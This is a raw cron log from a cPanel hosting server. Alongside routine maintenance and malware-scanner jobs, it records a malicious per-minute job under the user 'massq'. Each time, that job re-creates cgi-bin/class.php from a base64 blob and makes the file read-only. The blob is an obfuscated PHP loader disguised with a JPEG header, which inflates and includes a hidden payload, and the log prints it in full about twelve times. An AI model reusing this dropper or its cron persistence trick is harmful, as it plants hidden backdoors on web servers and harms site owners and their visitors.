Sep  1 08:35:01 server CROND[1609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:35:01 server CROND[1613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:35:01 server CROND[1612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:36:01 server CROND[2461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:36:01 server CROND[2462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:36:01 server CROND[2470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:37:01 server CROND[2956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:37:01 server CROND[2957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:37:01 server CROND[2958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:38:01 server CROND[3353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:38:01 server CROND[3355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:38:01 server CROND[3354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:39:01 server CROND[3730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:39:01 server CROND[3731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:39:01 server CROND[3733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:39:01 server CROND[3734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 08:40:01 server CROND[4120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:40:01 server CROND[4122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:40:01 server CROND[4123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:40:01 server CROND[4124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:40:01 server CROND[4125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:40:01 server CROND[4127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:40:01 server CROND[4126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:40:01 server CROND[4129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:41:01 server CROND[4956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:41:01 server CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:41:01 server CROND[4957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:42:01 server CROND[5642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:42:01 server CROND[5643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:42:01 server CROND[5644]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:42:01 server CROND[5645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:43:01 server CROND[6022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:43:01 server CROND[6023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:43:01 server CROND[6024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:44:01 server CROND[6399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:44:01 server CROND[6400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:44:01 server CROND[6401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:45:01 server CROND[6772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:45:01 server CROND[6775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:45:01 server CROND[6776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:45:01 server CROND[6774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:45:01 server CROND[6778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:45:01 server CROND[6779]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:45:01 server CROND[6777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:46:01 server CROND[7593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:46:01 server CROND[7595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:46:01 server CROND[7594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:47:01 server CROND[8089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:47:01 server CROND[8090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:47:01 server CROND[8091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:48:01 server CROND[8479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
